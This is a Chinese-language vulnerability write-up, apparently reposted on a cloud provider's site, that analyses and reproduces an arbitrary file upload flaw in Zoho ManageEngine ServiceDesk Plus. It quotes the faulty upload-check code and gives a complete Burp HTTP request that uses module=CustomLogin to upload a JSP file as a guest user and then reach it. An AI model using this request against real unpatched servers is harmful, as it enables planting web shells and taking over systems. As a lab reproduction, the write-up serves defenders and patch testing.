温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎样分析及复现Zoho 任意文件上传漏洞

发布时间:2021-12-28 20:07:15 来源:亿速云 阅读:135 作者:柒染 栏目:安全技术

怎样分析及复现Zoho 任意文件上传漏洞,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

漏洞简介

Zoho企业的产品 Zoho ManageEngine ServiceDesk Plus 是一套IT互联网服务管理软件,拥有资产管理、采购管理、合同管理等功能模块,提供一流的IT支持服务。

ServiceDesk Plus10.0 build 10012之前的版本产品存在任意文件上传漏洞。具体来说,SDJSPClasses.jar包的FileAttachment_jsp.class仅检查module参数为“SSP”、“DashBoard”、“HomePage”时的上传文件类型,而未检查module参数为“CustomLogin”时的上传文件类型,导致恶意分子采用低权限guest用户即能上传、并任意访问jsp类可执行命令的脚本文件。

受影响产品

Zohocorp ManageEngine ServiceDesk Plus

受影响版本

9.4 and 10.0 before 10.0 build 10012

修复版本

version>=10.0 build 10013

漏洞验证环境

  • Ubuntu16.04(服务器

  • Windows 10(攻击机)

漏洞分析与利用

分析文件上传逻辑,确定缺陷位置并上传文件。

第一步,在服务端安装 Zohocorp ManageEngine ServiceDesk Plus 10.0 build 10000,随后启动服务,下图表示启动成功。

怎样分析及复现Zoho 任意文件上传漏洞

第二步,在攻击机中,采用 Burp Suite 捕获低权限guest用户的cookie信息和数据包,以便开展后续POC的构建工作,如下。

怎样分析及复现Zoho 任意文件上传漏洞

怎样分析及复现Zoho 任意文件上传漏洞

第三步,分析服务端文件上传核心代码打开\ManageEngine\ServiceDesk\lib\SDJSPClasses.jar! \org\apache\jsp\common\FileAttachment_jsp.class,核心的文件上传检测代码和注释信息如下。

if (sizeOfFile < maxSize) {limitExceeded = false;filePath = "Attachments" + filSep + module + filSep + value;//                                            如果module参数是"CustomLogin",则直接将文件上传至路径"../custom/login"if (module.equals("CustomLogin")) {filePath = ".." + filSep + "custom" + filSep + "login";}File uploadedFile = new File(filePath + filSep + fileName);//                                            如果module参数是"SSP"、"DashBoard"、"HomePage",则检查文件后缀是否是“htm”或“html”,如不是,则拒绝上传if (module.equals("SSP") || module.equals("DashBoard") || module.equals("HomePage")) {String ext = "";int i = fileName.lastIndexOf(46);if (i > 0) {ext = fileName.substring(i + 1);if (!ext.equals("htm") && !ext.equals("html")) {out.write("\n         <li id='sspattachresponse'>ssp.widget.onAttachEmpty</li>");out.write("\n      ");return;}filSep = "/";filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module;if (module.equals("DashBoard")) {String view = request.getParameter("view");filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module + filSep + view;}uploadedFile = new File(filePath + filSep + fileName);int attIndex = false;int attIndex = fileName.lastIndexOf(".");String name = fileName;ext = "";if (attIndex != -1) {name = fileName.substring(0, attIndex);ext = fileName.substring(attIndex);}int j = 0;String fileName1;for(fileName1 = fileName; uploadedFile.exists(); uploadedFile = new File(filePath + filSep + fileName1)) {fileName1 = name + "(" + j + ")" + ext;++j;}fileName = fileName1;}}File mkdir = new File(filePath);mkdir.mkdirs();item.wri

分析可知,服务器首先判断module参数是否为“CustomLogin”,如是,则可直接上传任意类型的文件至服务端,程序执行完毕;否则继续执行代码,进入 module 参数属于 "SSP"、"DashBoard"、"HomePage" 的判别过程。如果module 参数为 "SSP"、"DashBoard" 或 "HomePage",则进行安全过滤仅可上传 “htm”、“html” 类型文件至服务端。因此,当 module 参数是 “CustomLogin” 时,可以上传 jsp 脚本文件。

第四步,构造 PoC在 Burpsuite 中,构造数据包如下。

POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1Host: 192.168.6.135:8081Content-Length: 366Accept: */*Origin: http://192.168.6.135:8081X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Content-Type: multipart/form-data; boundary=----aaaReferer: http://192.168.6.135:8081/DashBoard.doAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,vi;q=0.8Cookie: sdpcsrfcookie=bd678a1d-28b9-4eae-9d5d-f3a7e6f0bd88; servicedeskplus-_zldp=LsfUh%2FKeku9L3s3nPEJp8WNr%2BtCatkARgcAlZRum6ctL03zZZshSooiaABpQbhelmKwM1K1ctjo%3D; servicedeskplus-_zldt=01bc454f-6f2a-492e-889a-6d6b6ffde97d-2; SDPSESSIONID=B7BB216915E8FB5476DA8774161B9474; JSESSIONID=A7BEE85ED00E1AD81BB9E8081BA49D7D; JSESSIONIDSSO=601A38BD1F283CA55D289D78564E09CAConnection: close------aaaContent-Disposition: form-data; name="sspsetup"Attach------aaaContent-Disposition: form-data; name="module"CustomLogin------aaaContent-Disposition: form-data; name="filePath"; filename="test.jsp"Content-Type: text/htmlThis is shell content------aaaContent-Disposition: form-data; name="hmtlcontent"------aaa--

分析可知,访问拥有文件上传功能的核心代码,设置 module 参数为 “CustomLogin”,在内容栏设置test.jsp文件的内容是 “This is shell content”。

第五步,访问脚本文件重新启动服务后,直接访问脚本文件。例如http://192.168.6.135:8081/custom/login/test.jsp,如下。

怎样分析及复现Zoho 任意文件上传漏洞

观察可知,成功访问脚本文件,说明任意文件上传成功。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI